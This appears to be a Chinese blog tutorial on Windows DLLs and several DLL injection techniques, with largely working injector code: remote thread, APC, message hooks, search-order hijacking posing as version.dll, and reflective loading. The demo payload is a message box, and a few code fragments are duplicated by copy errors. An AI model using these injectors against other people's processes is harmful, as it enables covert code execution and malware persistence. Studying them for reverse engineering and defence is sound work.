前言 DLL(Dynamic Link Library,动态链接库)是 Windows 下的一种可执行模块, 可以被多个程序同时加载使用。可以导出函数
常见用途:
封装公共函数(比如数学库、图形库)
插件系统(比如浏览器插件)
逆向工程与注入(CTF、安全研究中常用)
DLL基础: DllMain:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #include <windows.h> BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: break ; case DLL_THREAD_ATTACH: break ; case DLL_THREAD_DETACH: break ; case DLL_PROCESS_DETACH: break ; } return TRUE; }
导出函数,有两种方式: 写.def文件 1 2 3 4 5 6 ; mylib.def LIBRARY "MyLibrary" EXPORTS AddFunction @1 MultiplyFunction @2 MyExportedVariable DATA ; 导出变量需要DATA关键字
然后在编译时链接这个文件。这种方式可以精确控制导出函数的名字和序号。
使用关键字(更常见) 可在如下所示的函数声明中使用 __declspec(dllexport) 关键字。
1 2 3 4 5 __declspec(dllexport) double WINAPI my_C_export (double x) { return x * 2.0 ; }
必须在声明的最左侧添加 __declspec(dllexport) 关键字。 这种方法的优点是该函数不需要在 DEF 文件中列出,并且导出状态与定义一致。
如果要避免使用 C++ 名称修饰来提供 C++ 函数,必须按如下方式声明函数。
1 2 3 4 5 6 extern "C" __declspec(dllexport) double WINAPI my_undecorated_Cpp_export (double x) { return x * 2.0 ; }
链接器将使该函数显示为 my_undecorated_Cpp_export,即源代码中显示的名称,没有任何修饰。
编写一个dll并编译 mydll.h
1 2 3 4 5 6 #pragma once __declspec(dllexport) int add (int a, int b) ; __declspec(dllexport) int mul (int a, int b) ;t b);
这里我们下面的源文件是.c,所以不加extern “C”
mydll.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 #include "mydll.h" #include <stdio.h> #include <windows.h> int add (int a, int b) { return a + b; } int mul (int a, int b) { return a * b; } BOOL WINAPI DllMain (HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { return TRUE; }
编译指令:
1 gcc -shared -o mydll.dll mydll.c -Wl,--out-implib,libmydll.a
解释一下参数:
这里的静态导入库的作用是可以把dll和exe合成一个文件。方便发布,一般我们直接gcc -shared -o mydll.dll mydll.c 就可以
main.c(测试函数)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 #include <stdio.h> #include <windows.h> typedef int (*add_t ) (int ,int ) ;typedef int (*mul_t ) (int ,int ) ;int main () { HMODULE h = LoadLibraryA("C:\\Users\\Lenovo\\OneDrive\\Desktop\\c++andpy\\cpp\\mydll\\mydll.dll" ); if (!h) { printf ("LoadLibrary failed: %lu\n" , GetLastError()); return 1 ; } add_t add = (add_t )GetProcAddress(h, "add" ); mul_t mul = (mul_t )GetProcAddress(h, "mul" ); int a=10 ,b=20 ; int sum; sum=add(a,b); printf ("sum=%d\n" ,sum); int m=mul(a,b); printf ("mul=%d\n" ,m); return 0 ; }
运行结果:
DLL调试: dll调试如果用vscode的话太逆天,掌握不好注入器和被注入exe之间的关系,用vs就很轻松
右键我们的文件夹,点最下面的属性
然后配置类型需要改成动态库.dll
在调试的行那,右边的命令放要注入的exe路径,然后在我们的dll对应的.c文件那直接像正常的.c文件那样下断点就可以了
然后直接运行这个dll对应的.c源程序,在exe文件的进程空间导入dll文件(dll注入或loadlibrary)后,我们就可以正常调试了
DLL注入 dll注入目的是把我们写好的dll文件,通过各种方式把这个dll文件注入到已经存在的pe进程里。我们在这个dll注入专题只讲原理,具体代码实现不用深究,毕竟用的时候不需要重复造轮子,不过也可以自己练习写一遍,加深印象。
远程线程调用: 下面我们会用到一些windows库里的函数。先带大家复习一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 HANDLE OpenProcess ( DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId ) ;LPVOID VirtualAllocEx ( HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect ) ;BOOL WriteProcessMemory ( HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten ) ;HANDLE CreateRemoteThread ( HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId ) ;
远程线程注入是指一个进程在另一个进程中创建线程的技术,通常用于注入dll或shellcode
我们有一个dll文件和和一个pe文件,我们要做的就是编写一个新的可执行文件,把这个dll文件加载进pe文件里
1.加载pe文件: 1 HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0 , <pid>);
2.通过句柄向被注入进程申请可写可执行空间: 1 LPVOID lpBaseAddress = VirtualAllocEx(hProcess, 0 , 0x1000 , MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
3.dll地址写入内存: 1 2 char path[]="c:/test/test.dll" ;WriteProcessMemory(hProcess, lpBaseAddress, path, sizeof (path), NULL );
4.获取LoadlibaryA地址: 1 LPTHREAD_START_ROUTINE pLoadlibrary = (LPTHREAD_START_ROUTINE)GetProcAddress (GetModuleHandleA ("kernel32.dll" ), "LoadLibraryA" );
5.调用: 1 CreateRemoteThread(hProcess, 0 , 0 , (LPTHREAD_START_ROUTINE)pLoadlibrary, lpBaseAddress, 0 , 0 );
再稍微补充一下,这里如果是把注入对象是shellcode的话,第3步开始不一样:
1 2 3 char shellcode[]="XXXXXX" ;WriteProcessMemory(hProcess, lpBaseAddress, shellcode, sizeof (shellcode), NULL ); CreateRemoteThread(hProcess, 0 , 0 , (LPTHREAD_START_ROUTINE)lpBaseAddress, 0 , 0 , 0 );
这样就把恶意代码注入并执行了。后面看有没有时间写一下对应防御怎么做
APC注入: APC 队列正常是干什么用的? APC 全称 :Asynchronous Procedure Call(异步过程调用)。
对于线程来说它的本职工作就是处理正在运行的exe里的代码。但有的时候os内核和一些驱动程序、I/O 系统等等想插队,让线程先处理他们的事,但是这时候线程有自己的事要干,所以就先把这些插队的请求塞到APC队列 里
什么时候线程会抽空看一下APC队列 内的任务并执行它呢? 简单来说:线程并不是随时随地都会查看 APC 队列的。
只有当线程主动进入 “可警告状态” (Alertable State) 时,操作系统才会检查它的 APC 队列,并执行里面的任务。
你可以把可警告状态 理解为线程的一种 “待机模式” 。
忙碌状态 :线程正在狂算数据(CPU 占用高),这时候它是个聋子,听不到 APC 的呼唤。
普通等待 :线程调用普通的 Sleep(1000) 或 WaitForSingleObject。这时候它在睡觉,而且告诉操作系统:“别吵我,雷打不动”。APC 任务会被积压,无法执行。
可警告等待 (Alertable Wait) :线程调用了 带 Ex 后缀 的等待函数。这时候它在睡觉,但告诉操作系统:“我有空,如果有 APC 任务(比如 I/O 完成了,或者有人注入代码了),叫醒我 ,我先起来把任务办了再继续睡。”
编码思路:
获取线程列表 :找到目标进程里所有的 Thread ID。
实现 DLL 注入 :把 LoadLibrary 当作任务分发给所有线程。
实现 Shellcode 注入 :把 Shellcode 的起始地址当作任务分发给所有线程。1.获取线程列表:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 std::vector<DWORD> GetAllThreadIds (DWORD targetPid) { std::vector<DWORD> threads; HANDLE hSnapshot = CreateToolhelp32Snapshot (TH32CS_SNAPTHREAD, 0 ); if (hSnapshot == INVALID_HANDLE_VALUE) return threads; THREADENTRY32 te32; te32. dwSize = sizeof (THREADENTRY32); if (Thread32First (hSnapshot, &te32)) { do { if (te32. dwSize >= FIELD_OFFSET (THREADENTRY32, th32OwnerProcessID) + sizeof (te32. th32OwnerProcessID)) { if (te32. th32OwnerProcessID == targetPid) { threads.push_back (te32. th32ThreadID); } } } while (Thread32Next (hSnapshot, &te32)); } CloseHandle (hSnapshot); return threads; }
2.进行dll注入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 bool Inject_APC_DLL (DWORD pid, const std::wstring& dllPath) { HANDLE hProcess = OpenProcess (PROCESS_ALL_ACCESS, FALSE, pid); if (!hProcess) return false ; size_t pathSize = (dllPath.length () + 1 ) * sizeof (wchar_t ); void * pRemoteMem = VirtualAllocEx (hProcess, NULL , pathSize, MEM_COMMIT, PAGE_READWRITE); if (!pRemoteMem) { CloseHandle (hProcess); return false ; } if (!WriteProcessMemory (hProcess, pRemoteMem, dllPath.c_str (), pathSize, NULL )) { VirtualFreeEx (hProcess, pRemoteMem, 0 , MEM_RELEASE); CloseHandle (hProcess); return false ; } HMODULE hKernel32 = GetModuleHandleW (L"kernel32.dll" ); PAPCFUNC pLoadLibrary = (PAPCFUNC)GetProcAddress (hKernel32, "LoadLibraryW" ); auto threads = GetAllThreadIds (pid); int successCount = 0 ; for (DWORD tid : threads) { HANDLE hThread = OpenThread (THREAD_SET_CONTEXT, FALSE, tid); if (hThread) { if (QueueUserAPC (pLoadLibrary, hThread, (ULONG_PTR)pRemoteMem)) { successCount++; } CloseHandle (hThread); } } CloseHandle (hProcess); return successCount > 0 ; }
3.shellcode注入逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 bool Inject_APC_Shellcode (DWORD pid, const std::vector<unsigned char >& shellcode) { if (shellcode.empty ()) return false ; HANDLE hProcess = OpenProcess (PROCESS_ALL_ACCESS, FALSE, pid); if (!hProcess) return false ; void * pRemoteMem = VirtualAllocEx (hProcess, NULL , shellcode.size (), MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (!pRemoteMem) { CloseHandle (hProcess); return false ; } if (!WriteProcessMemory (hProcess, pRemoteMem, shellcode.data (), shellcode.size (), NULL )) { VirtualFreeEx (hProcess, pRemoteMem, 0 , MEM_RELEASE); CloseHandle (hProcess); return false ; } PAPCFUNC pShellcodeEntry = (PAPCFUNC)pRemoteMem; auto threads = GetAllThreadIds (pid); int successCount = 0 ; for (DWORD tid : threads) { HANDLE hThread = OpenThread (THREAD_SET_CONTEXT, FALSE, tid); if (hThread) { if (QueueUserAPC (pShellcodeEntry, hThread, 0 )) { successCount++; } CloseHandle (hThread); } } CloseHandle (hProcess); return successCount > 0 ; }
APC注入是一种隐形注入,必须等到我们注入的线程进入可警告等待 ,dll才会进到exe的内存空间
消息钩子注入 核心原理 这种方法的逻辑是利用 Windows 的消息机制。
准备 :我们在注入器里加载你的 DLL。
下钩 :我们告诉操作系统,“我想监听目标进程(PID)的某个线程的消息(比如窗口消息 WH_GETMESSAGE)”。
规则 :Windows 规定,如果钩子函数在 DLL 里,那么当目标线程收到消息时,操作系统必须把这个 DLL 注入到目标进程里 ,才能执行那个钩子函数。
触发 :我们给目标线程发个空消息,Windows 就会自动完成注入。
使用这种方法的前置条件 SetWindowsHookEx 需要一个 回调函数地址 (Hook Procedure) 。对于通用的注入器,我们无法预知你的 DLL 里函数名叫什么。 行业惯例 :我们将尝试获取 DLL 的 第 1 个导出函数 (Ordinal 1) 作为钩子函数。
这意味着 :你的测试 DLL 必须至少导出一个函数(随便什么函数都行),否则注入会失败。
编码思路
1.寻找目标进程的ui线程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 struct FindWindowData { DWORD pid; DWORD threadId; }; BOOL CALLBACK EnumWindowsProc (HWND hwnd, LPARAM lParam) { FindWindowData* data = (FindWindowData*)lParam; DWORD processId = 0 ; DWORD threadId = GetWindowThreadProcessId (hwnd, &processId); if (processId == data->pid && IsWindowVisible (hwnd)) { data->threadId = threadId; return FALSE; } return TRUE; } DWORD GetUIThreadId (DWORD pid) { FindWindowData data = { pid, 0 }; EnumWindows (EnumWindowsProc, (LPARAM)&data); return data.threadId; }
2.hook逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 bool Inject_Hook_DLL (DWORD pid, const std::wstring& dllPath) { DWORD threadId = GetUIThreadId (pid); if (threadId == 0 ) { std::cerr << "[-] 未找到 UI 线程!Hook 注入通常需要目标有窗口。" << std::endl; MessageBoxW (NULL , L"目标进程没有可见窗口,无法使用消息钩子注入。" , L"错误" , MB_ICONERROR); return false ; } HMODULE hDll = LoadLibraryW (dllPath.c_str ()); if (!hDll) { std::cerr << "[-] 无法加载 DLL 文件。路径正确吗?" << std::endl; return false ; } HOOKPROC pFn = (HOOKPROC)GetProcAddress (hDll, (LPCSTR)1 ); if (!pFn) { std::cerr << "[-] DLL 没有导出函数!Hook 注入需要 DLL 至少导出一个函数。" << std::endl; FreeLibrary (hDll); return false ; } HHOOK hHook = SetWindowsHookExW (WH_GETMESSAGE, pFn, hDll, threadId); if (!hHook) { std::cerr << "[-] SetWindowsHookEx 失败! Error: " << GetLastError () << std::endl; FreeLibrary (hDll); return false ; } std::cout << "[+] 钩子已安装。正在触发..." << std::endl; PostThreadMessageW (threadId, WM_NULL, 0 , 0 ); std::cout << "[*] 等待注入生效..." << std::endl; Sleep (1000 ); UnhookWindowsHookEx (hHook); FreeLibrary (hDll); std::cout << "[+] 流程结束。DLL 应该已经留在目标进程里了。" << std::endl; return true ; }
文件劫持注入 Windows 程序在加载 DLL(比如 version.dll)时,有一套固定的搜索顺序。它会优先 在应用程序当前目录 寻找。
简单来说 :就是冒充系统 DLL,站在门口截胡。
但是我们需要在想要注入的dll转发原dll中有的函数,我们需要在dll中再进行转发,否则进程可能找不到对应函数会崩溃
实现代码也比较简单:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 #include "injector_methods.h" #include <windows.h> #include <iostream> #include <vector> #include <string> #include <algorithm> #include <set> #include <shlwapi.h> #pragma comment(lib, "shlwapi.lib" ) namespace methods { const std::vector<std::wstring> HIJACK_CANDIDATES = { L"version.dll" , L"winmm.dll" , L"dwmapi.dll" , L"uxtheme.dll" , L"dbghelp.dll" , L"wtsapi32.dll" , L"cryptbase.dll" , L"userenv.dll" }; std::wstring GetDirectoryFromPath (const std::wstring& path) { wchar_t buffer[MAX_PATH]; wcscpy_s (buffer, path.c_str ()); PathRemoveFileSpecW (buffer); return std::wstring (buffer); } DWORD RvaToOffset (DWORD rva, PIMAGE_SECTION_HEADER pSections, WORD nSections) { for (WORD i = 0 ; i < nSections; i++) { if (rva >= pSections[i].VirtualAddress && rva < pSections[i].VirtualAddress + pSections[i].Misc.VirtualSize) { return rva - pSections[i].VirtualAddress + pSections[i].PointerToRawData; } } return 0 ; } std::set<std::wstring> GetImportedDlls (const std::wstring& exePath) { std::set<std::wstring> imports; PIMAGE_DOS_HEADER pDos = nullptr ; PIMAGE_NT_HEADERS pNt = nullptr ; DWORD importRva = 0 ; PIMAGE_SECTION_HEADER pSections = nullptr ; WORD nSections = 0 ; DWORD importOffset = 0 ; PIMAGE_IMPORT_DESCRIPTOR pImportDesc = nullptr ; HANDLE hFile = CreateFileW (exePath.c_str (), GENERIC_READ, FILE_SHARE_READ, NULL , OPEN_EXISTING, 0 , NULL ); if (hFile == INVALID_HANDLE_VALUE) return imports; HANDLE hMap = CreateFileMappingW (hFile, NULL , PAGE_READONLY, 0 , 0 , NULL ); if (!hMap) { CloseHandle (hFile); return imports; } LPVOID pBase = MapViewOfFile (hMap, FILE_MAP_READ, 0 , 0 , 0 ); if (!pBase) { CloseHandle (hMap); CloseHandle (hFile); return imports; } pDos = (PIMAGE_DOS_HEADER)pBase; if (pDos->e_magic != IMAGE_DOS_SIGNATURE) goto Cleanup; pNt = (PIMAGE_NT_HEADERS)((BYTE*)pBase + pDos->e_lfanew); if (pNt->Signature != IMAGE_NT_SIGNATURE) goto Cleanup; pSections = IMAGE_FIRST_SECTION (pNt); nSections = pNt->FileHeader.NumberOfSections; if (pNt->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC) { PIMAGE_NT_HEADERS64 pNt64 = (PIMAGE_NT_HEADERS64)pNt; importRva = pNt64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress; } else { PIMAGE_NT_HEADERS32 pNt32 = (PIMAGE_NT_HEADERS32)pNt; importRva = pNt32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress; } if (importRva == 0 ) goto Cleanup; importOffset = RvaToOffset (importRva, pSections, nSections); if (importOffset == 0 ) goto Cleanup; pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)((BYTE*)pBase + importOffset); while (pImportDesc->Name != 0 ) { DWORD nameOffset = RvaToOffset (pImportDesc->Name, pSections, nSections); if (nameOffset != 0 ) { char * pName = (char *)((BYTE*)pBase + nameOffset); int len = MultiByteToWideChar (CP_ACP, 0 , pName, -1 , NULL , 0 ); if (len > 0 ) { std::vector<wchar_t > wName (len) ; MultiByteToWideChar (CP_ACP, 0 , pName, -1 , wName.data (), len); std::wstring dllName = wName.data (); std::transform (dllName.begin (), dllName.end (), dllName.begin (), ::towlower); imports.insert (dllName); } } pImportDesc++; } Cleanup: if (pBase) UnmapViewOfFile (pBase); if (hMap) CloseHandle (hMap); if (hFile) CloseHandle (hFile); return imports; } bool Deploy_Hijack (const std::wstring& targetExePath, const std::wstring& myDllPath) { std::wstring targetDir = GetDirectoryFromPath (targetExePath); if (targetDir.empty ()) { MessageBoxW (NULL , L"无法解析目标目录" , L"错误" , MB_ICONERROR); return false ; } std::wcout << L"[*] 正在分析目标导入表: " << targetExePath << std::endl; std::set<std::wstring> importedDlls = GetImportedDlls (targetExePath); std::wstring bestCandidate = L"" ; for (const auto & candidate : HIJACK_CANDIDATES) { if (importedDlls.count (candidate)) { std::wstring checkPath = targetDir + L"\\" + candidate; DWORD attr = GetFileAttributesW (checkPath.c_str ()); if (attr == INVALID_FILE_ATTRIBUTES) { bestCandidate = candidate; break ; } } } if (bestCandidate.empty ()) { std::cout << "[!] 未找到最佳劫持目标,尝试默认目标 version.dll" << std::endl; bestCandidate = L"version.dll" ; } std::wcout << L"[+] 选定劫持目标: " << bestCandidate << std::endl; std::wstring hijackPath = targetDir + L"\\" + bestCandidate; if (GetFileAttributesW (hijackPath.c_str ()) != INVALID_FILE_ATTRIBUTES) { MessageBoxW (NULL , L"目标目录下已存在同名文件,停止劫持以策安全。" , L"错误" , MB_ICONERROR); return false ; } if (CopyFileW (myDllPath.c_str (), hijackPath.c_str (), FALSE)) { std::wstring msg = L"劫持成功!\n\nPayload 已伪装成: " + bestCandidate + L"\n请重启目标程序生效。" ; MessageBoxW (NULL , msg.c_str (), L"部署完成" , MB_ICONINFORMATION); return true ; } else { MessageBoxW (NULL , L"文件复制失败 (权限不足?)" , L"错误" , MB_ICONERROR); return false ; } } } L"错误" , MB_ICONERROR); return false ; } } }
dll中转发函数例子:
对于g++编译和伪装version.dll:创建.def文件后填入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 LIBRARY "version.dll" EXPORTS GetFileVersionInfoA=C:/Windows/System32/version.dll.GetFileVersionInfoA GetFileVersionInfoByHandle=C:/Windows/System32/version.dll.GetFileVersionInfoByHandle GetFileVersionInfoExA=C:/Windows/System32/version.dll.GetFileVersionInfoExA GetFileVersionInfoExW=C:/Windows/System32/version.dll.GetFileVersionInfoExW GetFileVersionInfoSizeA=C:/Windows/System32/version.dll.GetFileVersionInfoSizeA GetFileVersionInfoSizeExA=C:/Windows/System32/version.dll.GetFileVersionInfoSizeExA GetFileVersionInfoSizeExW=C:/Windows/System32/version.dll.GetFileVersionInfoSizeExW GetFileVersionInfoSizeW=C:/Windows/System32/version.dll.GetFileVersionInfoSizeW GetFileVersionInfoW=C:/Windows/System32/version.dll.GetFileVersionInfoW VerFindFileA=C:/Windows/System32/version.dll.VerFindFileA VerFindFileW=C:/Windows/System32/version.dll.VerFindFileW VerInstallFileA=C:/Windows/System32/version.dll.VerInstallFileA VerInstallFileW=C:/Windows/System32/version.dll.VerInstallFileW VerLanguageNameA=C:/Windows/System32/version.dll.VerLanguageNameA VerLanguageNameW=C:/Windows/System32/version.dll.VerLanguageNameW VerQueryValueA=C:/Windows/System32/version.dll.VerQueryValueA VerQueryValueW=C:/Windows/System32/version.dll.VerQueryValueW
反射型注入: 基本原理 参照stephen fewer的ReflectiveDLLInjection 项目。
普通dll注入就是靠LoadLibrary函数,把dll按照正常操作系统能接受的方式加载进去。dll进去之后直接就可以调用dll中的函数
但是反射型注入是把整个dll文件当作二进制数据写到exe运行内存中,这个时候它肯定是不能正常运行的,但是反射型dll中有一个特殊的函数叫做
ReflectiveLoader 函数,可以自己把这些二进制数据组装起来,修复导入导出表什么的,然后这个dll文件就和正常dll文件一样,可以正常使用了。
这种方法隐蔽性很高,但是对我们的dll文件编写有很高的要求
反射型注入流程:
注入器 (Injector) :将 DLL 的原始文件数据写入目标进程,并创建一个远程线程,线程的入口点指向 DLL 里的导出函数 ReflectiveLoader 。
ReflectiveLoader 运行 :这个函数开始工作(申请内存、复制节、修复重定位、加载导入表)。此时 DLL 只是内存里的一坨数据,还没“活”过来。
ReflectiveLoader 完工 :当它把一切都准备好,DLL 已经变成了一个合法的内存镜像。
调用入口 :ReflectiveLoader 的最后一行代码,通常就是调用 DllMain(..., DLL_PROCESS_ATTACH, ...)。
DllMain 运行 :这时候你的业务逻辑(弹窗、挂钩等)才开始执行。
反射型注入代码逻辑: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 bool Inject_Reflective (DWORD pid, const std::vector<unsigned char >& rawDllData) { if (rawDllData.empty ()) return false ; std::vector<unsigned char > buffer = rawDllData; DWORD offset = GetReflectiveLoaderOffset (buffer); if (offset == 0 ) { std::cerr << "[-] 未找到 ReflectiveLoader 导出函数。" << std::endl; MessageBoxW (NULL , L"注入失败:\nDLL 中未找到包含 'ReflectiveLoader' 的导出函数。\n请查看控制台日志确认导出表内容。" , L"错误" , MB_ICONERROR); return false ; } HANDLE hProcess = OpenProcess (PROCESS_ALL_ACCESS, FALSE, pid); if (!hProcess) { std::cerr << "[-] OpenProcess 失败。" << std::endl; return false ; } void * pRemoteMem = VirtualAllocEx (hProcess, NULL , buffer.size (), MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (!pRemoteMem) { CloseHandle (hProcess); return false ; } if (!WriteProcessMemory (hProcess, pRemoteMem, buffer.data (), buffer.size (), NULL )) { VirtualFreeEx (hProcess, pRemoteMem, 0 , MEM_RELEASE); CloseHandle (hProcess); return false ; } LPTHREAD_START_ROUTINE pEntry = (LPTHREAD_START_ROUTINE)((ULONG_PTR)pRemoteMem + offset); HANDLE hThread = CreateRemoteThread (hProcess, NULL , 0 , pEntry, NULL , 0 , NULL ); if (!hThread) { std::cerr << "[-] CreateRemoteThread 失败。" << std::endl; VirtualFreeEx (hProcess, pRemoteMem, 0 , MEM_RELEASE); CloseHandle (hProcess); return false ; } WaitForSingleObject (hThread, 1000 ); CloseHandle (hThread); CloseHandle (hProcess); std::cout << "[+] 反射注入线程已创建。" << std::endl; return true ; }
其中rva转foa的函数非常重要,在pe文件结构那一节也讲过这个函数
找导出表定位reflectloader部分就不说了,看过pe文件结构部分也都会,代码可以看总结部分仓库
dll设计: 直接拿开源项目的函数实现过来编译就可以了
ReflectiveDLLInjection/dll/src/ReflectiveLoader.c at master · stephenfewer/ReflectiveDLLInjection · GitHub
ReflectiveDLLInjection/dll/src/ReflectiveLoader.h at master · stephenfewer/ReflectiveDLLInjection · GitHub
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 #include <winsock2.h> #include <windows.h> #include "ReflectiveLoader.h" extern "C" void * _ReturnAddress(void ) { return __builtin_return_address(0 ); } DWORD WINAPI MainThread (LPVOID lpParam) { MessageBoxA (NULL , "Reflective Injection Success!" , "Hacker" , MB_OK); return 0 ; } BOOL WINAPI DllMain (HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { switch (fdwReason) { case DLL_PROCESS_ATTACH: DisableThreadLibraryCalls (hinstDLL); CreateThread (NULL , 0 , MainThread, NULL , 0 , NULL ); break ; case DLL_PROCESS_DETACH: break ; } return TRUE; }
编译:
1 g++ -shared -o reflective_payload.dll dll_reflectivedemo.cpp ReflectiveLoader.c -static -DWIN_X64 -DREFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR -DREFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN -Wl,--allow-multiple-definition
总结: dll注入部分代码都放在我的集成项目GitHub - som1ng/c-injector: c++编写的dll注入器和代码注入器 里了
您的支持将鼓励我继续创作!
打赏
微信支付